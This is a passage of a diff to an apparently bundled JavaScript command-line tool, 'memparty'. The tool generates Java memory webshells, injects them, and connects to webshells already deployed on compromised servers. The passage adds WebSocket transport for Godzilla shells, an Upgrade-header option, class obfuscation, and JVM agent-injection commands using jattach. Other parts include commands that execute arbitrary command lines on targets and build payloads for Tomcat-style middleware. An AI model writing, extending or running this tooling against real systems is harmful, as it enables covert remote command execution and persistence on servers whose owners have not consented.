timer = setTimeout(() => finish(new Error(`WebSocket request timed out after ${timeoutMs}ms`)), timeoutMs);
|
|
1284
|
+
socket.once("open", () => socket.send(body));
|
|
1285
|
+
socket.on("message", (data, isBinary) => {
|
|
1286
|
+
finish(isBinary ? void 0 : new Error("expected a binary Godzilla WebSocket response"), data);
|
|
1287
|
+
});
|
|
1288
|
+
socket.once("close", () => finish(new Error("WebSocket closed without a response")));
|
|
1289
|
+
socket.once("error", (error) => finish(error));
|
|
1290
|
+
socket.once("unexpected-response", (_request, response) => {
|
|
1291
|
+
finish(new Error(`WebSocket handshake failed: HTTP ${response.statusCode ?? 0}`));
|
|
1292
|
+
});
|
|
1293
|
+
});
|
|
1294
|
+
}
|
|
1295
|
+
|
|
1296
|
+
// src/connect/godzilla.ts
|
|
989
1297
|
function serializeParams(params) {
|
|
990
1298
|
const parts = [];
|
|
991
1299
|
for (const [key, value] of params) {
|
|
@@ -1032,7 +1340,10 @@ async function openGodzillaSession(url, pass, key, options = {}) {
|
|
|
1032
1340
|
const left = wrapper.slice(0, 16);
|
|
1033
1341
|
const right = wrapper.slice(16);
|
|
1034
1342
|
const baseHeaders = buildHeaders(
|
|
1035
|
-
{
|
|
1343
|
+
{
|
|
1344
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
1345
|
+
...options.upgradeProtocol ? { Connection: "Upgrade", Upgrade: options.upgradeProtocol } : {}
|
|
1346
|
+
},
|
|
1036
1347
|
options
|
|
1037
1348
|
);
|
|
1038
1349
|
const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
|
|
@@ -1040,14 +1351,27 @@ async function openGodzillaSession(url, pass, key, options = {}) {
|
|
|
1040
1351
|
timeoutMs: options.timeoutMs,
|
|
1041
1352
|
insecure: options.insecure
|
|
1042
1353
|
});
|
|
1043
|
-
|
|
1044
|
-
|
|
1045
|
-
|
|
1354
|
+
let cookie;
|
|
1355
|
+
if (isWebSocketUrl(url)) {
|
|
1356
|
+
await requestWebSocket(url, aesEcbEncrypt(GODZILLA_PAYLOAD_BYTES, xc), options);
|
|
1357
|
+
} else {
|
|
1358
|
+
const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
|
|
1359
|
+
const cookies = extractCookies(initResponse.headers);
|
|
1360
|
+
cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
|
|
1361
|
+
}
|
|
1046
1362
|
return {
|
|
1047
1363
|
async callMethod(methodName, extraParams = []) {
|
|
1048
1364
|
const callData = gzip(
|
|
1049
1365
|
serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
|
|
1050
1366
|
);
|
|
1367
|
+
if (isWebSocketUrl(url)) {
|
|
1368
|
+
const response = await requestWebSocket(url, aesEcbEncrypt(callData, xc), options);
|
|
1369
|
+
try {
|
|
1370
|
+
return gunzipLenient(aesEcbDecrypt(response, xc));
|
|
1371
|
+
} catch {
|
|
1372
|
+
throw new Error("WebSocket response failed to decrypt \u2014 wrong key or protocol?");
|
|
1373
|
+
}
|
|
1374
|
+
}
|
|
1051
1375
|
const res = await post(callData, cookie);
|
|
1052
1376
|
const text = res.body.toString("latin1");
|
|
1053
1377
|
const leftIdx = text.indexOf(left);
|
|
@@ -1513,7 +1837,7 @@ async function testSuo5(url, options = {}) {
|
|
|
1513
1837
|
import { randomInt as randomInt2 } from "crypto";
|
|
1514
1838
|
|
|
1515
1839
|
// src/core/site-profile.ts
|
|
1516
|
-
import { existsSync, mkdirSync, readdirSync, readFileSync as
|
|
1840
|
+
import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync3, writeFileSync as writeFileSync2 } from "fs";
|
|
1517
1841
|
import { homedir as homedir2 } from "os";
|
|
1518
1842
|
import { join as join2 } from "path";
|
|
1519
1843
|
function inferBodyTemplateContentType(bodyTemplate) {
|
|
@@ -1641,7 +1965,7 @@ function saveProfile(profile) {
|
|
|
1641
1965
|
validateProfile(profile);
|
|
1642
1966
|
const dir = profilesDir();
|
|
1643
1967
|
mkdirSync(dir, { recursive: true });
|
|
1644
|
-
|
|
1968
|
+
writeFileSync2(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
|
|
1645
1969
|
`, "utf8");
|
|
1646
1970
|
}
|
|
1647
1971
|
function loadProfile(name) {
|
|
@@ -1651,7 +1975,7 @@ function loadProfile(name) {
|
|
|
1651
1975
|
`unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
|
|
1652
1976
|
);
|
|
1653
1977
|
}
|
|
1654
|
-
const profile = JSON.parse(
|
|
1978
|
+
const profile = JSON.parse(readFileSync3(path, "utf8"));
|
|
1655
1979
|
validateProfile(profile);
|
|
1656
1980
|
return profile;
|
|
1657
1981
|
}
|
|
@@ -2147,7 +2471,7 @@ registerProtocol(suo5Protocol);
|
|
|
2147
2471
|
registerProtocol(mimicProtocol);
|
|
2148
2472
|
|
|
2149
2473
|
// src/core/oplog.ts
|
|
2150
|
-
import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as
|
|
2474
|
+
import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync4 } from "fs";
|
|
2151
2475
|
import { homedir as homedir3 } from "os";
|
|
2152
2476
|
import { dirname, join as join3 } from "path";
|
|
2153
2477
|
var OUTPUT_LIMIT = 2e3;
|
|
@@ -2168,7 +2492,7 @@ function readOps(filter = {}) {
|
|
|
2168
2492
|
try {
|
|
2169
2493
|
const file = opLogPath();
|
|
2170
2494
|
if (existsSync2(file)) {
|
|
2171
|
-
for (const line of
|
|
2495
|
+
for (const line of readFileSync4(file, "utf8").split("\n")) {
|
|
2172
2496
|
const trimmed = line.trim();
|
|
2173
2497
|
if (!trimmed) continue;
|
|
2174
2498
|
try {
|
|
@@ -2213,7 +2537,7 @@ function formatOp(e) {
|
|
|
2213
2537
|
}
|
|
2214
2538
|
|
|
2215
2539
|
// src/core/targets.ts
|
|
2216
|
-
import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as
|
|
2540
|
+
import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
|
|
2217
2541
|
import { homedir as homedir4 } from "os";
|
|
2218
2542
|
import { dirname as dirname2, join as join4 } from "path";
|
|
2219
2543
|
var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
@@ -2231,7 +2555,7 @@ function listProjects() {
|
|
|
2231
2555
|
try {
|
|
2232
2556
|
const file = targetStorePath();
|
|
2233
2557
|
if (!existsSync3(file)) return {};
|
|
2234
|
-
const data = JSON.parse(
|
|
2558
|
+
const data = JSON.parse(readFileSync5(file, "utf8"));
|
|
2235
2559
|
if (data !== null && typeof data === "object" && !Array.isArray(data)) {
|
|
2236
2560
|
return data;
|
|
2237
2561
|
}
|
|
@@ -2245,7 +2569,7 @@ function getProject(name) {
|
|
|
2245
2569
|
function writeProjects(projects) {
|
|
2246
2570
|
const file = targetStorePath();
|
|
2247
2571
|
mkdirSync3(dirname2(file), { recursive: true });
|
|
2248
|
-
|
|
2572
|
+
writeFileSync3(file, `${JSON.stringify(projects, null, 2)}
|
|
2249
2573
|
`, { mode: 384 });
|
|
2250
2574
|
}
|
|
2251
2575
|
function saveProjectMeta(name, meta) {
|
|
@@ -2353,7 +2677,8 @@ function autoSaveShell(conn) {
|
|
|
2353
2677
|
headerValue: conn.headerValue,
|
|
2354
2678
|
extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
|
|
2355
2679
|
insecure: conn.insecure,
|
|
2356
|
-
profile: conn.profile
|
|
2680
|
+
profile: conn.profile,
|
|
2681
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2357
2682
|
});
|
|
2358
2683
|
return `${projectName}/${shellName}`;
|
|
2359
2684
|
}
|
|
@@ -2407,6 +2732,7 @@ function resolveConnection(ref, flags) {
|
|
|
2407
2732
|
extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
|
|
2408
2733
|
insecure: flags.insecure ?? stored?.insecure,
|
|
2409
2734
|
profile: flags.profile ?? stored?.profile,
|
|
2735
|
+
upgradeProtocol: flags.upgradeProtocol ?? stored?.upgradeProtocol,
|
|
2410
2736
|
targetName
|
|
2411
2737
|
};
|
|
2412
2738
|
}
|
|
@@ -2426,15 +2752,15 @@ function parseExtraHeaders(lines) {
|
|
|
2426
2752
|
function registerConnectCommand(program) {
|
|
2427
2753
|
program.command("connect").description(
|
|
2428
2754
|
"Test whether a deployed webshell is alive and the credentials work"
|
|
2429
|
-
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new
|
|
2755
|
+
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
|
|
2430
2756
|
"--header-name <name>",
|
|
2431
2757
|
"gate header name reported by gen (shellToolConfig.headerName)"
|
|
2432
2758
|
).option(
|
|
2433
2759
|
"--header-value <value>",
|
|
2434
2760
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
2435
2761
|
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
|
|
2436
|
-
new
|
|
2437
|
-
).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
|
|
2762
|
+
new Option2("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
|
|
2763
|
+
).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
|
|
2438
2764
|
"after",
|
|
2439
2765
|
`
|
|
2440
2766
|
Examples:
|
|
@@ -2469,7 +2795,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
2469
2795
|
headerValue: opts.headerValue,
|
|
2470
2796
|
extraHeaders: parseExtraHeaders(opts.header),
|
|
2471
2797
|
insecure: opts.insecure,
|
|
2472
|
-
profile: opts.profile
|
|
2798
|
+
profile: opts.profile,
|
|
2799
|
+
upgradeProtocol: opts.upgradeProtocol
|
|
2473
2800
|
});
|
|
2474
2801
|
} catch (err) {
|
|
2475
2802
|
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
@@ -2481,7 +2808,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
2481
2808
|
headerValue: conn.headerValue,
|
|
2482
2809
|
extraHeaders: conn.extraHeaders,
|
|
2483
2810
|
timeoutMs,
|
|
2484
|
-
insecure: conn.insecure
|
|
2811
|
+
insecure: conn.insecure,
|
|
2812
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2485
2813
|
};
|
|
2486
2814
|
let result;
|
|
2487
2815
|
try {
|
|
@@ -2533,10 +2861,10 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
2533
2861
|
}
|
|
2534
2862
|
|
|
2535
2863
|
// src/commands/custom.ts
|
|
2536
|
-
import { Command as
|
|
2864
|
+
import { Command as Command3 } from "commander";
|
|
2537
2865
|
|
|
2538
2866
|
// src/custom/build.ts
|
|
2539
|
-
import { mkdirSync as mkdirSync4, readFileSync as
|
|
2867
|
+
import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync4 } from "fs";
|
|
2540
2868
|
import { join as join5 } from "path";
|
|
2541
2869
|
|
|
2542
2870
|
// src/core/jdk.ts
|
|
@@ -2546,7 +2874,8 @@ var JDK_VERSIONS = {
|
|
|
2546
2874
|
java9: 53,
|
|
2547
2875
|
java11: 55,
|
|
2548
2876
|
java17: 61,
|
|
2549
|
-
java21: 65
|
|
2877
|
+
java21: 65,
|
|
2878
|
+
java25: 69
|
|
2550
2879
|
};
|
|
2551
2880
|
function resolveJreVersion(input3) {
|
|
2552
2881
|
if (input3 === void 0 || input3 === "") return void 0;
|
|
@@ -3077,11 +3406,11 @@ async function buildCustomMemshell(input3, client, deps = {}) {
|
|
|
3077
3406
|
const packageDir = join5(outDir, "mimic");
|
|
3078
3407
|
mkdirSync4(packageDir, { recursive: true });
|
|
3079
3408
|
const wrapperFile = join5(packageDir, "CachedBody.java");
|
|
3080
|
-
|
|
3409
|
+
writeFileSync4(wrapperFile, renderWrapperJava(), "utf8");
|
|
3081
3410
|
compile([wrapperFile], outDir, { classpath: [jarOf()] });
|
|
3082
3411
|
const wrapper = {
|
|
3083
|
-
bodyB64:
|
|
3084
|
-
streamB64:
|
|
3412
|
+
bodyB64: readFileSync6(join5(packageDir, "CachedBody.class")).toString("base64"),
|
|
3413
|
+
streamB64: readFileSync6(join5(packageDir, "CachedBody$Stream.class")).toString("base64")
|
|
3085
3414
|
};
|
|
3086
3415
|
const javaSource = renderFilterJava({
|
|
3087
3416
|
className,
|
|
@@ -3094,10 +3423,10 @@ async function buildCustomMemshell(input3, client, deps = {}) {
|
|
|
3094
3423
|
wrapper
|
|
3095
3424
|
});
|
|
3096
3425
|
const javaFile = join5(packageDir, `${className}.java`);
|
|
3097
|
-
|
|
3426
|
+
writeFileSync4(javaFile, javaSource, "utf8");
|
|
3098
3427
|
compile([javaFile], outDir, { classpath: [jarOf()] });
|
|
3099
3428
|
const classFile = join5(packageDir, `${className}.class`);
|
|
3100
|
-
const shellClassBase64 =
|
|
3429
|
+
const shellClassBase64 = readFileSync6(classFile).toString("base64");
|
|
3101
3430
|
const response = await client.generateMemShell({
|
|
3102
3431
|
shellConfig: {
|
|
3103
3432
|
server: input3.server,
|
|
@@ -3116,13 +3445,13 @@ async function buildCustomMemshell(input3, client, deps = {}) {
|
|
|
3116
3445
|
if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
|
|
3117
3446
|
for (const [name, value] of Object.entries(response.allPackResults)) {
|
|
3118
3447
|
const file = join5(outDir, `payload-${name}.txt`);
|
|
3119
|
-
|
|
3448
|
+
writeFileSync4(file, `${value}
|
|
3120
3449
|
`, "utf8");
|
|
3121
3450
|
payloads[name] = file;
|
|
3122
3451
|
}
|
|
3123
3452
|
} else if (response.packResult !== void 0) {
|
|
3124
3453
|
const file = join5(outDir, "payload.txt");
|
|
3125
|
-
|
|
3454
|
+
writeFileSync4(file, `${response.packResult}
|
|
3126
3455
|
`, "utf8");
|
|
3127
3456
|
payloads[packer] = file;
|
|
3128
3457
|
}
|
|
@@ -3162,7 +3491,7 @@ async function buildCustomMemshell(input3, client, deps = {}) {
|
|
|
3162
3491
|
connect: `memparty connect -u <shell-url> -t mimic --profile ${input3.profile.name} --pass ${result.pass} --key ${result.secret}`,
|
|
3163
3492
|
files: result.files
|
|
3164
3493
|
};
|
|
3165
|
-
|
|
3494
|
+
writeFileSync4(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
|
|
3166
3495
|
`, "utf8");
|
|
3167
3496
|
return result;
|
|
3168
3497
|
}
|
|
@@ -3170,7 +3499,7 @@ async function buildCustomMemshell(input3, client, deps = {}) {
|
|
|
3170
3499
|
// src/commands/custom.ts
|
|
3171
3500
|
function registerCustomCommand(program) {
|
|
3172
3501
|
program.command("custom").description("Custom (mimic) memory shells built from a site profile").addCommand(
|
|
3173
|
-
new
|
|
3502
|
+
new Command3("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
|
|
3174
3503
|
"after",
|
|
3175
3504
|
`
|
|
3176
3505
|
The full loop (see docs/mimic-memshell-guide.md):
|
|
@@ -3507,7 +3836,7 @@ Watch the printed request URL in step 3/4: it changes every run.
|
|
|
3507
3836
|
}
|
|
3508
3837
|
|
|
3509
3838
|
// src/commands/exec.ts
|
|
3510
|
-
import { Option as
|
|
3839
|
+
import { Option as Option3 } from "commander";
|
|
3511
3840
|
function parseExtraHeaders2(lines) {
|
|
3512
3841
|
const headers = {};
|
|
3513
3842
|
for (const line of lines ?? []) {
|
|
@@ -3523,16 +3852,16 @@ function registerExecCommand(program) {
|
|
|
3523
3852
|
program.command("exec").description(
|
|
3524
3853
|
"Execute a command on a deployed webshell and print its output"
|
|
3525
3854
|
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
3526
|
-
new
|
|
3855
|
+
new Option3("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
|
|
3527
3856
|
).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").addOption(
|
|
3528
|
-
new
|
|
3857
|
+
new Option3("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
|
|
3529
3858
|
).option(
|
|
3530
3859
|
"--header-name <name>",
|
|
3531
3860
|
"gate header name reported by gen (shellToolConfig.headerName)"
|
|
3532
3861
|
).option(
|
|
3533
3862
|
"--header-value <value>",
|
|
3534
3863
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
3535
|
-
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
|
|
3864
|
+
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
|
|
3536
3865
|
"after",
|
|
3537
3866
|
`
|
|
3538
3867
|
Examples:
|
|
@@ -3562,7 +3891,8 @@ the OS inside its payload, so --os does not apply.
|
|
|
3562
3891
|
headerValue: opts.headerValue,
|
|
3563
3892
|
extraHeaders: parseExtraHeaders2(opts.header),
|
|
3564
3893
|
insecure: opts.insecure,
|
|
3565
|
-
profile: opts.profile
|
|
3894
|
+
profile: opts.profile,
|
|
3895
|
+
upgradeProtocol: opts.upgradeProtocol
|
|
3566
3896
|
});
|
|
3567
3897
|
} catch (err) {
|
|
3568
3898
|
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
@@ -3574,7 +3904,8 @@ the OS inside its payload, so --os does not apply.
|
|
|
3574
3904
|
headerValue: conn.headerValue,
|
|
3575
3905
|
extraHeaders: conn.extraHeaders,
|
|
3576
3906
|
timeoutMs,
|
|
3577
|
-
insecure: conn.insecure
|
|
3907
|
+
insecure: conn.insecure,
|
|
3908
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
3578
3909
|
};
|
|
3579
3910
|
let result;
|
|
3580
3911
|
try {
|
|
@@ -3633,58 +3964,8 @@ the OS inside its payload, so --os does not apply.
|
|
|
3633
3964
|
}
|
|
3634
3965
|
|
|
3635
3966
|
// src/commands/gen.ts
|
|
3636
|
-
import { readFileSync as
|
|
3637
|
-
import { Option as
|
|
3638
|
-
|
|
3639
|
-
// src/core/output.ts
|
|
3640
|
-
import { writeFileSync as writeFileSync4 } from "fs";
|
|
3641
|
-
var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
|
|
3642
|
-
function hasBinaryExtension(path) {
|
|
3643
|
-
const lower = path.toLowerCase();
|
|
3644
|
-
return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));
|
|
3645
|
-
}
|
|
3646
|
-
function shouldDecode(opts) {
|
|
3647
|
-
if (opts.decode !== void 0) return opts.decode;
|
|
3648
|
-
if (opts.outFile) return hasBinaryExtension(opts.outFile);
|
|
3649
|
-
return false;
|
|
3650
|
-
}
|
|
3651
|
-
function emitPayload(payload, opts, sinks = {}) {
|
|
3652
|
-
const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync4(p, d));
|
|
3653
|
-
const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
|
|
3654
|
-
const decoded = shouldDecode(opts);
|
|
3655
|
-
if (opts.outFile) {
|
|
3656
|
-
if (decoded) {
|
|
3657
|
-
const buf = Buffer.from(payload, "base64");
|
|
3658
|
-
writeFile(opts.outFile, buf);
|
|
3659
|
-
return { destination: opts.outFile, size: buf.length, decoded: true };
|
|
3660
|
-
}
|
|
3661
|
-
writeFile(opts.outFile, payload);
|
|
3662
|
-
return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };
|
|
3663
|
-
}
|
|
3664
|
-
if (decoded) {
|
|
3665
|
-
const buf = Buffer.from(payload, "base64");
|
|
3666
|
-
writeStdout(buf.toString("binary"));
|
|
3667
|
-
return { destination: "stdout", size: buf.length, decoded: true };
|
|
3668
|
-
}
|
|
3669
|
-
writeStdout(payload.endsWith("\n") ? payload : `${payload}
|
|
3670
|
-
`);
|
|
3671
|
-
return { destination: "stdout", size: payload.length, decoded: false };
|
|
3672
|
-
}
|
|
3673
|
-
function hasMultiplePackResults(r) {
|
|
3674
|
-
return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
|
|
3675
|
-
}
|
|
3676
|
-
function emitSinglePackResult(r, opts, sinks = {}) {
|
|
3677
|
-
if (hasMultiplePackResults(r)) {
|
|
3678
|
-
const n = Object.keys(r.allPackResults).length;
|
|
3679
|
-
throw new Error(
|
|
3680
|
-
`the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
|
|
3681
|
-
);
|
|
3682
|
-
}
|
|
3683
|
-
if (r.packResult === void 0) {
|
|
3684
|
-
throw new Error("Server returned no packResult.");
|
|
3685
|
-
}
|
|
3686
|
-
return emitPayload(r.packResult, opts, sinks);
|
|
3687
|
-
}
|
|
3967
|
+
import { readFileSync as readFileSync8 } from "fs";
|
|
3968
|
+
import { Option as Option4 } from "commander";
|
|
3688
3969
|
|
|
3689
3970
|
// src/core/request-builder.ts
|
|
3690
3971
|
import { randomInt as randomInt3 } from "crypto";
|
|
@@ -3718,16 +3999,16 @@ function buildMemShellRequest(opts) {
|
|
|
3718
3999
|
byPassJavaModule: opts.byPassJavaModule,
|
|
3719
4000
|
shrink: opts.shrink,
|
|
3720
4001
|
lambdaSuffix: opts.lambdaSuffix,
|
|
3721
|
-
probe: opts.probe
|
|
4002
|
+
probe: opts.probe ? { probeMethod: "ResponseBody", probeContent: "Bytecode" } : void 0,
|
|
4003
|
+
obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0,
|
|
4004
|
+
obfuscationScope: opts.obfuscationScope
|
|
3722
4005
|
},
|
|
3723
4006
|
shellToolConfig: {
|
|
3724
4007
|
shellClassName: opts.shellClassName,
|
|
3725
|
-
|
|
3726
|
-
|
|
3727
|
-
|
|
3728
|
-
|
|
3729
|
-
behinderPass: opts.behinderPass,
|
|
3730
|
-
antSwordPass: opts.antSwordPass,
|
|
4008
|
+
pass: opts.godzillaPass ?? opts.behinderPass ?? opts.antSwordPass,
|
|
4009
|
+
key: opts.godzillaKey,
|
|
4010
|
+
paramName: opts.commandParamName,
|
|
4011
|
+
template: opts.commandTemplate,
|
|
3731
4012
|
headerName: opts.headerName,
|
|
3732
4013
|
headerValue: opts.headerValue,
|
|
3733
4014
|
shellClassBase64: opts.shellClassBase64,
|
|
@@ -3753,7 +4034,8 @@ function buildProbeRequest(opts) {
|
|
|
3753
4034
|
byPassJavaModule: opts.byPassJavaModule,
|
|
3754
4035
|
shrink: opts.shrink,
|
|
3755
4036
|
staticInitialize: opts.staticInitialize,
|
|
3756
|
-
lambdaSuffix: opts.lambdaSuffix
|
|
4037
|
+
lambdaSuffix: opts.lambdaSuffix,
|
|
4038
|
+
obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0
|
|
3757
4039
|
},
|
|
3758
4040
|
probeContentConfig: {
|
|
3759
4041
|
host: opts.host,
|
|
@@ -3761,15 +4043,27 @@ function buildProbeRequest(opts) {
|
|
|
3761
4043
|
sleepServer: opts.sleepServer,
|
|
3762
4044
|
server: opts.server,
|
|
3763
4045
|
reqParamName: opts.reqParamName,
|
|
3764
|
-
commandTemplate: opts.commandTemplate
|
|
4046
|
+
commandTemplate: opts.commandTemplate,
|
|
4047
|
+
respHeaderName: opts.respHeaderName
|
|
3765
4048
|
},
|
|
3766
4049
|
packer: opts.packer
|
|
3767
4050
|
};
|
|
3768
4051
|
}
|
|
3769
4052
|
|
|
4053
|
+
// src/core/agent.ts
|
|
4054
|
+
function supportsAgentLoadArguments(shellType, packer) {
|
|
4055
|
+
return shellType.startsWith("Agent") && ["AgentJar", "AgentJarWithJDKAttacher", "AgentJarWithJREAttacher"].includes(packer);
|
|
4056
|
+
}
|
|
4057
|
+
function agentLoadExamples(agentArgs) {
|
|
4058
|
+
return [
|
|
4059
|
+
`java -jar agent.jar <pid> ${agentArgs}`,
|
|
4060
|
+
`jattach <pid> load instrument false agent.jar=${agentArgs}`
|
|
4061
|
+
];
|
|
4062
|
+
}
|
|
4063
|
+
|
|
3770
4064
|
// src/wizard/memshell-wizard.ts
|
|
3771
|
-
import { readFileSync as
|
|
3772
|
-
import { checkbox, confirm, input, select
|
|
4065
|
+
import { readFileSync as readFileSync7 } from "fs";
|
|
4066
|
+
import { checkbox, confirm, input, select } from "@inquirer/prompts";
|
|
3773
4067
|
var JDK_CHOICES = [
|
|
3774
4068
|
{ name: "server default", value: "" },
|
|
3775
4069
|
...Object.entries(JDK_VERSIONS).map(([name, major]) => ({
|
|
@@ -3777,17 +4071,6 @@ var JDK_CHOICES = [
|
|
|
3777
4071
|
value: name
|
|
3778
4072
|
}))
|
|
3779
4073
|
];
|
|
3780
|
-
function packerChoices(tree) {
|
|
3781
|
-
const choices = [];
|
|
3782
|
-
for (const parent of tree) {
|
|
3783
|
-
choices.push(new Separator(`\u2500\u2500 ${parent.name} \u2500\u2500`));
|
|
3784
|
-
choices.push({ name: parent.name, value: parent.name });
|
|
3785
|
-
for (const child of parent.children) {
|
|
3786
|
-
choices.push({ name: ` ${child}`, value: child });
|
|
3787
|
-
}
|
|
3788
|
-
}
|
|
3789
|
-
return choices;
|
|
3790
|
-
}
|
|
3791
4074
|
async function runMemShellWizard(client) {
|
|
3792
4075
|
const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);
|
|
3793
4076
|
const server = await select({
|
|
@@ -3803,13 +4086,19 @@ async function runMemShellWizard(client) {
|
|
|
3803
4086
|
message: "Shell type",
|
|
3804
4087
|
choices: config[server][shellTool].map((t) => ({ name: t, value: t }))
|
|
3805
4088
|
});
|
|
3806
|
-
const
|
|
3807
|
-
message: "Packer",
|
|
3808
|
-
choices:
|
|
4089
|
+
const category = await select({
|
|
4090
|
+
message: "Packer category",
|
|
4091
|
+
choices: packerTree.map((packer2) => ({ name: packer2.name, value: packer2.name }))
|
|
3809
4092
|
});
|
|
4093
|
+
const selected = packerTree.find((packer2) => packer2.name === category);
|
|
4094
|
+
const packer = selected.children.length ? await select({
|
|
4095
|
+
message: "Packer variant",
|
|
4096
|
+
choices: selected.children.map((name) => ({ name, value: name }))
|
|
4097
|
+
}) : category;
|
|
3810
4098
|
const opts = { server, shellTool, shellType, packer };
|
|
3811
4099
|
switch (shellTool) {
|
|
3812
4100
|
case "Godzilla":
|
|
4101
|
+
case "GodzillaSession":
|
|
3813
4102
|
opts.godzillaPass = await input({ message: "Godzilla pass", default: "pass" });
|
|
3814
4103
|
opts.godzillaKey = await input({ message: "Godzilla key", default: "key" });
|
|
3815
4104
|
break;
|
|
@@ -3836,7 +4125,7 @@ async function runMemShellWizard(client) {
|
|
|
3836
4125
|
}
|
|
3837
4126
|
case "Custom": {
|
|
3838
4127
|
const file = await input({ message: "Path to custom .class file" });
|
|
3839
|
-
opts.shellClassBase64 =
|
|
4128
|
+
opts.shellClassBase64 = readFileSync7(file).toString("base64");
|
|
3840
4129
|
break;
|
|
3841
4130
|
}
|
|
3842
4131
|
default:
|
|
@@ -3857,7 +4146,8 @@ async function runMemShellWizard(client) {
|
|
|
3857
4146
|
{ name: "static initialize", value: "staticInitialize", checked: true },
|
|
3858
4147
|
{ name: "bypass Java module", value: "byPassJavaModule" },
|
|
3859
4148
|
{ name: "lambda suffix", value: "lambdaSuffix" },
|
|
3860
|
-
{ name: "debug", value: "debug" }
|
|
4149
|
+
{ name: "debug", value: "debug" },
|
|
4150
|
+
{ name: "class obfuscation (v3+)", value: "obfuscate" }
